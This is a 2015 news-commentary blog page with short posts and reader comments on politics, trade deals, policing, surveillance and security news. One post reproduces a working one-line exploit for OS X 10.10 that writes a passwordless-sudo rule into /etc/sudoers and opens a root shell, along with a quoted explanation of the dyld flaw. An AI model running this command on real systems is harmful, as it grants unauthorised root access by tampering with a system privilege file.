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Jimmy Kimmel on the Killing of Cecil the Lion

Posted on July 29th, 2015 at 23:14 by Paul Jay in category: News

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John Key admits New Zealand’s drugs bill will rise – National

Posted on July 28th, 2015 at 15:28 by John Sinteur in category: News


Prime Minister John Key has admitted that New Zealand will have to pay more for medicines if it signs up to the Trans Pacific Partnership but he says this was unlikely to affect consumers.


“But for consumers that won’t make any difference because on subsidised drugs you pay $5 for your prescription. So the Government may incur slightly more costs there.”

Yeah, because the rest of those costs are paid in magic fairy dust, right?

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  1. He must think that people are idiots. Mostly he’s right.

Hedge funds tell Puerto Rico: lay off teachers and close schools to pay us back

Posted on July 28th, 2015 at 15:25 by John Sinteur in category: News


Billionaire hedge fund managers have called on Puerto Rico to lay off teachers and close schools so that the island can pay them back the billions it owes.

The hedge funds called for Puerto Rico to avoid financial default – and repay its debts – by collecting more taxes, selling $4bn worth of public buildings and drastically cutting public spending, particularly on education.

The group of 34 hedge funds hired former International Monetary Fund (IMF) economists to come up with a solution to Puerto Rico’s debt crisis after the island’s governor declared its $72bn debt “unpayable” – paving the way for bankruptcy.

The funds are “distressed debt” specialists, also known as vulture funds, and several have also sought to make money out of crises in Greece and Argentina, the collapse of Lehman Brothers and the near collapse of Co-op Bank in the UK.

What we, and everyone else, should start doing is listening to the advice of hedge fund mangers and then doing the exact opposite.

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  1. I dislike the vultures as much as everyone, but shouldn’t governments stop borrowing money that future generations will have to repay. Half the crap on TV is about debt, why don’t we eliminate it? Pay as you go. Raise taxes as necessary.

  2. @will, Peurto Rico: it is not as simple as raising taxes. Good article http://seekingalpha.com/article/3340785-5-reasons-puerto-rico-is-in-debt-trouble
    Regarding debt elimination in general: not a good idea because those without prior accumulated capital, one could never get anything off the ground unless they solely used equity financing. While crowd funding works for sexy start-ups, it is really not there for some that wants to open an unglamorous 7-elevan for example. That would lead a very bad two class society (worse than now).

  3. @Mykolas, I specifically said “government”. I don’t want the government opening 7-11’s either.

  4. With high levels of public and private debt in many countries, there are going to be more of these coups. Somewhat like Latin America 30 years ago.

To Weed Out Protesters at Last Night’s Event, The Satanic Temple Had Attendees Transfer Their Souls to Satan

Posted on July 28th, 2015 at 9:28 by John Sinteur in category: News


What’s really interesting is how TST dealt with all the threats they were getting from God-fearing Christians.According to TST spokesperson Lucien Greaves, attendees for the event had to go through the following process:

1) Show up at the location stated on the e-ticket.
2) Go through a security checkpoint there.
3) Sign a contract transferring their souls to Satan.
4) Get the real location for the event, which was miles away.

It worked. The event went off without a hitch.


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  1. At last a leader who is not going to fall short of our expectations.

Sandra Bland Never Should Have Been Arrested

Posted on July 23rd, 2015 at 17:35 by John Sinteur in category: News


In the year since Eric Garner was put in a chokehold, and with every subsequent black death, we’ve become increasingly aware that melanin can get you killed, just because. But perhaps Bland, through her legal defiance and subsequent abuse, has reminded us that it isn’t just skin color that makes us dangerous to the law enforcement officers who seek to reinforce white supremacy or to exercise the privilege society grants them to brutalize your black ass. No, an African American woman who knows her rights as a citizen may be what most scares cops like those.


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  1. I have 2 black grandkids. I worry all the time that they will be arrested or killed, simply for walking or driving while black! Trust me. I spend sleepless nights worrying about that.

  2. People like Bland are patriots like our founding fathers.

  3. Look, it is a police state. Put the keys, license on the dash, both hands on top of steering wheel, and windows down. All answers yes sir/ma’am no sir/ma’am. De-escalate the stop, fight it later higher up the chain with a good lawyer. In other words – if I were to encounter and angry dog on the street, I would do everything to remove myself from being near the fangs of that beast. I would deal with the dog owner later. Same with the dogs of the state.

  4. A sizeable police force is the first item on every Dictator’s shopping list.

Chain, Chest, Curse: Combating Book Theft in Medieval Times

Posted on July 23rd, 2015 at 15:22 by John Sinteur in category: News

[not a Quote:]

“FBI Anti-Piracy Warning: The unauthorized reproduction or distribution of a copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.”

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  1. You are quite a wag, John!

Hackers Remotely Kill a Jeep on the Highway—With Me in It

Posted on July 23rd, 2015 at 15:20 by John Sinteur in category: News


I was driving 70 mph on the edge of downtown St. Louis when the exploit began to take hold.

Somebody needs to bring Fiat Chrysler Automobiles up to date with the concept of responsible disclosure, because they still think they can get away with this:

“Under no circumstances does FCA condone or believe it’s appropriate to disclose ‘how-to information’ that would potentially encourage, or help enable hackers to gain unauthorized and unlawful access to vehicle systems,” the company’s statement reads. “We appreciate the contributions of cybersecurity advocates to augment the industry’s understanding of potential vulnerabilities. However, we caution advocates that in the pursuit of improved public safety they not, in fact, compromise public safety.”

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  1. And why would this all be even remotely possible anyway, hmm?

  2. Self-driving cars will certainly need an internet connection – hell, my nav system needs one just to get simple traffic stats…

  3. I mean, why are the controls exposed? Perhaps I’m paranoid, but it sounds like a backdoor.

  4. Because the developers don’t know the first thing about security and are ordered to build it as cheap as possible.

  5. I used to say, “It’s easier to assume incompetence than malice.”

  6. exactly. Never attribute to malice what can be easily explained by stupidity.

  7. …but I’ve been proven wrong a number of times. Car manufacturers have been able to stop stolen cars for a while, so why is this all coming apart now?

  8. car-pay diem…

  9. Back to KISS principal. Isolate systems. No internet connected cars; NAV systems should be portable installations like on a mobile device; And sort of off topic…. just what to internet of things: “Mommy I want ice cream …sorry luv, someone disabled the freezer and we can’t afford the ransom” And so it goes.

Thank you for being a friend

Posted on July 23rd, 2015 at 14:24 by John Sinteur in category: News


It was 2005, 3 years after we first began offering shelter to homeless LGBT youths. We were a small organization, tiny in comparison to so many of the huge, well-established charities in NYC. But we were addressing a terrible problem, that of LGBT teens being thrown to the streets in enormous numbers by unaccepting parents. At the time we only had 12 shelter beds, and over 100 youths waiting out in the streets to get into those beds, which they saw as precious, for with us they wouldn’t face the homophobic harassment they often endured elsewhere.

A wonderful man named Ray Klausen became a volunteer. He’s an iconic set designer for stage and screen. He has worked with many superstars, including Madonna, Barbra Streisand, Elvis, even Judy Garland! When he saw how badly we were struggling to provide for the many youths flocking to us for help, he wanted to help us raise funds.

He decided to reach out to his friend Bea Arthur. He called her, and explained the mission of the Ali Forney Center and how badly we needed help. He asked her if she would revive her one-woman Broadway show as a benefit for us. While she was certainly aware that she was an icon to the LGBT community, but hadn’t realized that so many LGBT youths were being driven to the streets. It outraged her sense of justice and decency. She immediately agreed to help.

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  1. A wonderful account of the actions of people with really big hearts! Thanks for sharing this.

  2. Attention parents: Your kids may be different from you and you should be grateful :-)

Comcast Really Wants Me To Stop Calling Their Top Lobbyist A ‘Top Lobbyist’

Posted on July 23rd, 2015 at 12:20 by John Sinteur in category: News


You see, the legal DC definition of a lobbyist was beefed up slightly back in 2007, when the Lobbyist Disclosure Act was notably amended by the Leadership and Open Government Act of 2007. Those changes required that if an employee spends more than 20% of their time lobbying, they have to register with the government as a lobbyist, detail their travel with lawmakers, and more fully outline their contributions to politicians and their myriad foundations. Comcast addressed these changes by simply calling Cohen something else

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Even If You Think Kim Dotcom Is Guilty As Sin, The US Government Stealing His Assets Should Concern You

Posted on July 23rd, 2015 at 11:53 by John Sinteur in category: News


Again, this lawsuit is technically entirely separate from the ongoing case against Dotcom himself. Instead, it’s USA v. All Assets Listed In Attachment A, And All Interest, Benefits, And Assets Traceable Thereto — which is a catchy name if you’re trying to hide what you’re really doing, which is stealing all the assets of someone in a foreign country. The Attachment A in the title of that lawsuit is basically a listing of all of Kim Dotcom’s assets. In asset forfeiture cases, since the government is technically filing the lawsuit against the stuff, arguing that the stuff itself is guilty, it leaves only limited ability of the original owner of that stuff to try to block the government from taking it all. And, that was made much more difficult by Dotcom (who has never even been to the US) fighting extradition in the (entirely separate) lawsuit against him. The DOJ, somewhat perversely, used the extradition fight to argue that Dotcom is a “fugitive,” to basically say that he can’t try to block the forfeiture, and the judge agreed.

The end result? The court gave the DOJ a huge green light to legally steal millions of dollars worth of assets from Kim Dotcom despite the lack of any court ruling or admission of guilt. That seems like a rather big due process concern. While a New Zealand court has put a temporary stop to the US government taking the New Zealand portion of the assets, back in the US, there is an appeal going on over the initial ruling.

As part of that, three organizations that you wouldn’t normally think of as associating themselves with the likes of Dotcom, have stepped up to argue that the whole civil asset forfeiture effort against Dotcom’s stuff is a complete farce. The Cato Institute, the Institute for Justice and the National Association of Criminal Defense Lawyers have filed an amicus brief in the appeal arguing forcefully about how ridiculous this whole case is (not the case against Dotcom, but the case against all his stuff).

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Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet

Posted on July 23rd, 2015 at 9:39 by John Sinteur in category: News


echo ‘echo “$(whoami) ALL=(ALL) NOPASSWD:ALL” >&3′ | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)

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  1. So, did Apple actually make /etc/sudoers writable by other than root? Or does the default user already have root access? Either case is totally idiotic! The second case is why Windows is so insecure…

  2. [Quote:]

    With the release of OS X 10.10 Apple added some new features to the dynamic linker dyld. One of these features is the new environment variable DYLD_PRINT_TO_FILE that enables error logging to an arbitrary file.

    This is a path to a (writable) file. Normally, the dynamic linker writes all logging output (triggered by DYLD_PRINT_* settings) to file descriptor 2 (which is usually stderr). But this setting causes the dynamic linker to write logging output to the specified file.

    When this variable was added the usual safeguards that are required when adding support for new environment variables to the dynamic linker have not been used. Therefore it is possible to use this new feature even with SUID root binaries. This is dangerous, because it allows to open or create arbitrary files owned by the root user anywhere in the file system. Furthermore the opened log file is never closed and therefore its file descriptor is leaked into processes spawned by SUID binaries. This means child processes of SUID root processes can write to arbitrary files owned by the root user anywhere in the filesystem.

  3. So, yeah, massively idiotic.

Iran nuclear deal: Satirical website The Onion accidentally breaks story about the US offering missiles to Israel

Posted on July 22nd, 2015 at 10:59 by John Sinteur in category: News


A spoof news story on The Onion, headlined “US Soothes Upset Netanyahu With Shipment Of Ballistic Missiles”, appeared 24 hours before reports emerged that this had actually happened in real life.

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  1. And Kerry was upset with Iran saying bad things about the US? Sounds like Iran has been justified. They really do need nukes.

  2. Life imitating art (or satire as an art).

India blocks Colgate patents for spices

Posted on July 20th, 2015 at 10:35 by John Sinteur in category: News


India has successfully blocked two patent claims of US consumer goods major Colgate-Palmolive, which wanted intellectual property right (IPR) cover on two oral compositions made from Indian spices and other herbs.

One patent battle took almost seven years, after the New York-based company filed a claim at the European Patent Register on September 29, 2008, for a composition containing botanical extracts from three herbs, including cinnamon, a common kitchen spice across India, known here as “dalchini”.

India opposed the claim using the traditional knowledge digital library (TKDL) database, created in the last decade to fight biopiracy.

The database, maintained by the Council of Scientific and Industrial Research (CSIR), submitted its plea in May 2011, and the European patent office ruled in India’s favour last month.

Two years after filing the first patent claim, Colgate-Palmolive moved another application in 2010 before the European patent office, seeking protection for another oral composition containing nutmeg, ginger, “Bakul” tree, camphor, cinnamon, turmeric, Indian banyan, black pepper, long pepper, Neem and clove. The solution is for treating oral cavity diseases.

This, too, was challenged in June 2014 by TKDL, which showed to the patent examiner there was no novelty in the Colgate claims as ancient Indian texts mention use of extracts from these plants for the same disorders. The claim was rejected this March.

“We identified about 1,500 cases of biopiracy, out of which about 200 have been checked by patent examiners. We won about 180 out of these 200 cases. There are another 1,300-odd cases to be fought,” V K Gupta, former director of the TKDL group in CSIR, told Deccan Herald.

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  1. I don’t understand the reflex to have patents on such product formulations. C-P has enormous marketing dominance, supply chains, manufacturing capacity etc. They can deliver a reliable, safe product in millions of units.

    They are the 1000 lb gorilla. They could just compete.

Seeking the Source of Ebola

Posted on July 19th, 2015 at 10:50 by John Sinteur in category: News


The public health authorities based in Guinea’s capital, Conakry, and the viral disease trackers from abroad weren’t in Méliandou when Emile Ouamouno died. Had they been, and had they understood that he was the first case in an outbreak of Ebola virus disease, they might have directed some timely attention to an important unknown: How did this boy get sick? What did he do, what did he touch, what did he eat? If Ebola virus was in his body, where did it come from?

Among the most puzzling aspects of Ebola virus, since its first recognized emergence almost four decades ago, is that it disappears for years at a time. Since a 1976 outbreak in what then was Zaire (now the Democratic Republic of the Congo) and a simultaneous episode with a closely related virus in what was then southern Sudan (now South Sudan), the sequence of Ebola events, large and small, has been sporadic. During one stretch of 17 years (1977-1994) not a single confirmed human death from infection with Ebola virus occurred. This is not a subtle bug that simmers delicately among people, causing nothing more than mild headaches and sniffles. If it had been circulating in human populations for those 17 years, we would have known.

A virus can’t survive for long, or replicate at all, except within a living creature. That means it needs a host—at least one kind of animal, or plant, or fungus, or microbe, whose body serves as its primary environment and whose cell machinery it can co-opt for reproducing. Some harmful viruses abide in nonhuman animals and only occasionally spill into people. They cause diseases that scientists label zoonoses. Ebola is a zoonosis, an especially nasty and perplexing one—killing many of its human victims in a matter of days, pushing others to the brink of death, and then vanishing. Where does it hide, quiet and inconspicuous, between outbreaks?

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  1. In government labs?

Berkeley Breathed Publishes First New ‘Bloom County’ Strip Since 1989

Posted on July 18th, 2015 at 13:43 by John Sinteur in category: News


Generally, when a beloved comic strip disappears from the funnies page, it is gone for good, and its characters live on only in reprint collections and greeting cards, as parade balloons and insurance spokes-characters.

So it was a surprise for comics fans to wake up on Monday and discover that Berkeley Breathed, the Pulitzer Prize-winning creator and artist of “Bloom County,” had revived that vintage 1980s strip on his Facebook page after a hiatus of more than 25 years (depending on how one measures) and with almost no advance notice.

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  1. Yay!!

Announcing Apple IIgs System 6.0.2

Posted on July 18th, 2015 at 13:41 by John Sinteur in category: News


After 22 years, 2 months, 2 days and 2 hours since System 6.0.1 was released, this is a summary of the visible changes. There have been many bugs fixed and many features added that are not immediately visible–they will enable developers to create better future products. Be sure to also read the Shortcuts file on the SystemTools3 disk for more information.

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Europe a step closer to keeping records on all passengers flying in and out of the Continent

Posted on July 16th, 2015 at 14:15 by John Sinteur in category: News


The European Parliament’s civil liberties committee LIBE voted on Wednesday in favor of collecting and storing information about all air passengers traveling into or out of the EU.

The so-called Passenger Name Record (PNR) scheme requires the storage of all data collected by airlines about passengers – including sensitive and personal information such as email addresses, credit card details, phone numbers, and meal choices (halal, kosher, etc) – for use by security agencies. The committee approved the scheme by 32 votes to 27, and also agreed to start negotiations with national ministers with a view to agreeing on a new law by the end of the year.

However, civil rights groups have been outraged at some of the proposals, particularly after the European Court of Justice (ECJ) ruled [PDF] the old Data Retention Directive illegal and disproportionate in April last year.

“To date, and despite countless requests, the European Commission has not been able to show that an EU PNR scheme would meet the standards of proportionality and necessity established by the Charter of Fundamental Rights. In the aftermath of [the ECJ ruling] it is hard to imagine how the proposed arbitrary period of maximum five year retention for every citizen’s travel data could be considered necessary and proportionate,” said Joe McNamee, director of privacy warriors EDRi.

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  1. I pick a religious choice (Hindu vegetarian) on airlines. Usually a tastier and fresher meal. You get your food first and are tucking into a tasty curry when everyone else gets their bland swill.

    Also avoids that “Fish or chicken?” dilemma of infamous Airplane jokes.

  2. Yes, I remember, I had the lasagna

Major pharma and finance corporations ‘dramatically boosted lobbying efforts to support TTIP’ : EU Reporter

Posted on July 16th, 2015 at 9:34 by John Sinteur in category: News


The financial and machinery sectors also significantly stepped up their game during the same period according to the research.

The study was also carried out by SumOfUs, a global consumer advocacy group.

Corporate Europe Observatory and SumOfUs said they had seen  a “dramatic corporate bias” in the Commission’s approach to the trade deal with the big business leaning not changing significantly since Cecilia Malmström took over as EU Trade Commissioner in November 2014.

According to the research, in her first six months in office, the Commissioner, members of her Cabinet and the director general of DG Trade had 122 behind-closed-doors lobby meetings in which TTIP was discussed. 100 of these meetings were reportedly with business lobbyists – 22 with public interest groups.

The research also aims to shed light on how “agenda-setting” for TTIP has been “driven”by Western European and US businesses while companies from Greece, Portugal, Cyprus, Malta, and Eastern Europe are not lobbying at all.

Also, one in five corporate lobby groups meeting the Commission’s trade department on TTIP are allegedly absent from the EU’s Transparency Register, among them reportedly large companies such as Maersk, Levi’s and AON as well as powerful federations such as the world’s largest biotech lobby group BIO and the Big Pharma lobby group PhRMA.

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  1. Well! Fancy that! I imagine they’re doing it in the public interest?

Weedkiller suspected of causing cancer deemed ‘safe’

Posted on July 16th, 2015 at 9:21 by John Sinteur in category: News


A best-selling herbicide that the World Health Organisation suspects causes cancer could get a new lease of life in Europe after being deemed safe by a key assessment based largely on classified industry reports.

A decision on whether to extend the license for glyphosate’s use in Europe is pending, but earlier this year, it was deemed “probably carcinogenic to humans” in a preliminary report from the WHO’s International Agency for Research on Cancer (IARC). The full report is due for release imminently.

Any revocation of the European license would hit the profits of Monsanto which manufactures the weedkiller which is often used in conjunction with GM crops.

Monsanto said it was “outraged” at the assessment and accused the WHO of “agenda-driven bias”. Sources at the European Food Safety Authority say that they may have to delay publication of their opinion on extending the license to take the IARC report into account.

Now a key assessment by the German Federal Institute for Risk Assessments (BfR), seen by the Guardian, has drawn contrary conclusions from the IARC’s data. The BfR paper also relied heavily on unpublished papers provided by the Glyphosate Task Force, an industry body dedicated to the herbicide’s relicensing. Its website is run by Monsanto UK.

Yes, Monsanto, the WHO has an agenda. It’s right there in it’s name: World’s Health.

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  1. I don’t know about the WHO, but many people fighting against GMOs definitely seem to have an agenda that they put ahead of honesty and scientific evidence.

    Here’s an article documenting how dishonest the fight against GMOs has often been. Seems to me that Greenpeace is no more trustworthy than Monsanto.


  2. @Desiato: I read that article as well, and it has a lot of good points in it. But the one big missing thing is *why* Greenpeace would behave the way he describes it. What’s their motivation? He shows the organization as being really geared up heavily to fight GMOs and support (potentially dangerous) alternatives, and paints the organization as willfully ignoring and openly misinterpreting evidence.

    So am I to believe that they’re just extremely doctrinaire? Could a diverse organization maintain such a unified front in the face of evidence purely from religious zeal? Or is there something that was left out?

    I’m not trying to ask leading questions. I honestly don’t know enough about it to be able to ascertain.

  3. Pesticides are a risk for people using them, if they don’t protect themselves. They are poisonous.

    Same with gasoline and many other substances deemed necessary to our “civilization”.

  4. Monsanto gets whatever Monsanto wants. The problem is that Europe doesn’t want or need Monsanto. That’s not acceptable to the good old USA.

    I don’t care if Monsanto is the best thing since sliced bread. They have no right to force feed their shit down everyone’s throat. And that is exactly what they want. Not exactly a good corporate citizen.

  5. I’m just really happy knowing that monsanto doesn’t “have an agenda that they put ahead of honesty and scientific evidence”.

  6. In the arms race against weeds, glyphosate (Roundup) worked for awhile. Now a strain of amaranth -farmers call it pigweed – has mutated resistance and its wrist-thick stalks can stop a combine. Big Ag’s countermeasure is adding a derivative of agent orange to the herbicide. How safe is it or its breakdown by-products for humans or anything else beyond the target weeds? And as Sue says, especially for farmworkers? Long term studies before introduction? No. It’s being used now.

    Aerial spraying of these poisons is less efficient than using ground equipment, but it’s still done. Watch sometime as the pilot pulls up, shuts the nozzles off and the cloud of fine mist leisurely drifts across the highway….

  7. @john: Sort of like Mutually assured destruction. Sooner or later, no one wins. They can’t beat Mother Nature, they can only beat (kill) us.

The 5 world religions

Posted on July 14th, 2015 at 16:16 by John Sinteur in category: News

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  1. Pdf has really saved my life! Testify, you sinners!

  2. Definitely prefer the last one. Use LibreOffice, and you can convert your documents directly (as exports) to PDF files. All the rest? Meh! Organized religion should be outlawed. Worship who you want, but keep it at home! When you start trying to infect others, it should be considered a crime against humanity!

  3. PDF in the Catholic Church means: Pedophile Development Fund

God on Twitter

Posted on July 14th, 2015 at 16:08 by John Sinteur in category: News


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  1. I’d like to send $10 to encourage this wonderful performance artist in his work of a lifetime. Sadly, I don’t think foreign contribution is allowed.

  2. And I think God is going “Walker? Walker who?”. I’d like to “humble” Scott Walker head-first into a pig sty, since that is where he belongs!

  3. ..in the name of father, the son and the holy pass the plate. And @spaceman: in a Pig Sty? Oh those poor pigs!

  4. @Spaceman: Cruelty to pigs.

    One evening in October
    When I was about one-third sober
    And was taking home a load with manly pride
    My poor feet began to stutter
    So I lay down in the gutter
    And a pig came up and lay down by my side

    Then we sang “It’s All Fair Weather”
    And “Good Fellows Get Together”
    Till a lady passing by was heard to say
    She says, “You can tell a man who boozes
    By the company he chooses”
    And the pig got up and slowly walked away

  5. God is going to be really pissed off when he realises that this is not the singer Scott Walker. He really loves “The Sun Ain’t Gonna Shine Anymore”

  6. Weirdly, God has also asked Perry and Santorum to run too. And even weirder, half the other Republican candidates are preachers, and God did not ask them to run, so what’s up with that?

  7. @Gareth: “Loneliness…is the cloak you wear…oo-ee-oo-oo…”

    Sounds like all of those candidates.

Why was Oscar-winning Snowden documentarian detained 50+ times in US airports?

Posted on July 14th, 2015 at 15:55 by John Sinteur in category: News


Laura Poitras gained notoriety as the documentary filmmaker behind the 2014 Oscar-winning movie Citizenfour, a film about the time she and Glenn Greenwald spent with NSA whistleblower Edward Snowden.

What’s less known about Poitras is that from 2006 until 2012, she was stopped at the US border every single time she entered the country. In all, she was stopped on more than 50 occasions. Poitras, who is a US citizen, never got a satisfactory explanation as to why the detentions took place.

Frustrated after years of stonewalling, today Poitras said she’s working with lawyers at the Electronic Frontier Foundation to get answers. The group is filing a Freedom of Information Act (FOIA) lawsuit against the Department of Justice and two other agencies.

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  1. Good luck. I’d say there’s a label on her file, the equivalent of: “Known associate of troublemaker.”

    A former colleague of mine always has this experience. Unbeknownst to her, one of her former boyfriends (20 years before) was an unconvicted drug dealer. After that she could never, ever get through customs without being stopped and searched.

    Customs officers have more powers of search and seizure than the police and they do not to give any justification to the public.

  2. Well, 2006 was well before Snowden let loose the dogs of war. She had a reputation for showing our security wonks for being the idiots that they are, and they definitely will retaliate for that!

Letterman un-retires to deliver Top Ten List targeting Trump

Posted on July 13th, 2015 at 7:38 by John Sinteur in category: News


Although he’s been content since retiring as host of “Late Show” in May, Letterman called missing out on lampooning Trump’s White House bid “the biggest mistake of my life.”

Appearing with his pals Martin Short and Steve Martin at their live comedy show Friday night in San Antonio, he made up for lost time:

10. That thing on his head was the gopher in “Caddyshack.”

9. During sex, Donald Trump calls out his own name.

8. Donald Trump looks like the guy in the lifeboat with the women and children.

7. He wants to build a wall? How about building a wall around that thing on his head!

6. Trump walked away from a moderately successful television show for a delusional, bull… Oh, no, wait, that’s me.

5. Donald Trump weighs 240 pounds – 250 with cologne.

4. Trump would like all Americans to know that that thing on his head is free-range.

3. (tie) If President, instead of pardoning a turkey on Thanksgiving, he plans to evict a family on Thanksgiving. AND: That’s not a hairdo – it’s a wind advisory.

2. Donald Trump has pissed off so many Mexicans, he’s starring in a new movie entitled, “NO Amigos” (a reference to the 1986 comedy, “Three Amigos,” that starred Short and Martin).

1. Thanks to Donald Trump, the Republican mascot is also an ass.

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  1. The rest are so-so but number 8 is absolutely perfect.

  2. Most of these are very weak jokes indeed.

    I guess the writers for this show are not of the same quality as the writers he had before he retired.

  3. #9. It underscores Trumps lifelong selfie….

  4. A man who gets death threats from a Drug Lord’s son can’t be all bad. I’d like to say he is bad, but there’s that endorsement to consider.

Saturday Morning Breakfast Cereal

Posted on July 12th, 2015 at 9:39 by John Sinteur in category: News


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Thomas Piketty: ‘Germany Has Never Repaid its Debts. It Has No Right to Lecture Greece’

Posted on July 11th, 2015 at 10:28 by John Sinteur in category: News


When I hear the Germans say that they maintain a very moral stance about debt and strongly believe that debts must be repaid, then I think: what a huge joke! Germany is the country that has never repaid its debts. It has no standing to lecture other nations.


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  1. The Debt is just part of the problem, corruption is a factor also. What sort of company pays bribe money? At present – according to “our own correspondent” (Private Eye’s letter from Berlin 10 July 2015) the Greek authorities at present are investigating and/or prosecuting Siemens, Daimler Benz, MAN, Rheinmetall, as well as Deutsche Bahn. I believe the correct expression is it takes two to tango.

linkmoji 🍕💩

Posted on July 10th, 2015 at 21:38 by John Sinteur in category: News




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  1. :)!

In Bolivia, Pope Francis Apologizes for Church’s ‘Grave Sins’

Posted on July 10th, 2015 at 8:13 by John Sinteur in category: News


Pope Francis offered a direct apology on Thursday for the complicity of the Roman Catholic Church in the oppression of Latin America during the colonial era, even as he called for a global social movement to shatter a “new colonialism” that has fostered inequality, materialism and the exploitation of the poor.


“I say this to you with regret: Many grave sins were committed against the native people of America in the name of God.”

Just oooooone little step of logic after that, francy, come on, you can do it!



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Exxon knew of climate change in 1981, email says – but it funded deniers for 27 more years

Posted on July 9th, 2015 at 11:16 by John Sinteur in category: News


ExxonMobil, the world’s biggest oil company, knew as early as 1981 of climate change – seven years before it became a public issue, according to a newly discovered email from one of the firm’s own scientists. Despite this the firm spent millions over the next 27 years to promote climate denial.


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  1. The Vampire Squid quotation would be much more applicable to this business, dont you think?

FBI’s Comey Defies Scientists on Encryption, Prefers Magic Back Door

Posted on July 9th, 2015 at 10:10 by John Sinteur in category: News


Testifying before two Senate committees on Wednesday about the threat he says strong encryption presents to law enforcement, FBI Director James Comey didn’t so much propose a solution as wish for one.

Comey said he needs some way to read and listen to any communication for which he’s gotten a court order. Modern end-to-end encryption — increasingly common following the revelations of mass surveillance by NSA whistleblower Edward Snowden — doesn’t allow for that. Only the parties on either end can do the decoding.

Comey’s problem is the nearly universal agreement among cryptographers, technologists and security experts that there is no way to give the government access to encrypted communications without poking an exploitable hole that would put confidential data, as well as entities like banks and power grids, at risk.

But while speaking at Senate Judiciary and Senate Intelligence Committee hearings on Wednesday, Comey repeatedly refused to accept that as reality.

“A whole lot of good people have said it’s too hard … maybe that’s so,” he said to the Intelligence Committee. “But my reaction to that is: I’m not sure they’ve really tried.”


Comey said American technologists are so brilliant that they surely could come up with a solution if properly incentivized.

It’s chilling to think what he might consider to be “proper incentive”…

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  1. I don’t really study all this, but people are not saying that it’s too hard. They’re saying that it shouldn’t be done. It’s bad and dangerous.

Adobe Flash exploit that was leaked by Hacking Team goes wild; patch now!

Posted on July 8th, 2015 at 19:55 by John Sinteur in category: News


Adobe Systems has updated its Flash media player to patch a vulnerability that attackers started exploiting soon after attack code leaked from the devastating Hacking Team breach.

As Ars reported Tuesday morning, the previously unknown Flash vulnerability was part of some 400 gigabytes of data dumped on the Internet by unknown attackers who hacked Hacking Team over the weekend. By Tuesday afternoon, the critical flaw was being targeted in the wild by an array of malware titles, including the Angler and Nuclear exploit kits, as first reported by Malwarebytes (and later documented by the security researcher known as Kafeine). The exploit has also been folded in to the Metasploit hacking framework.


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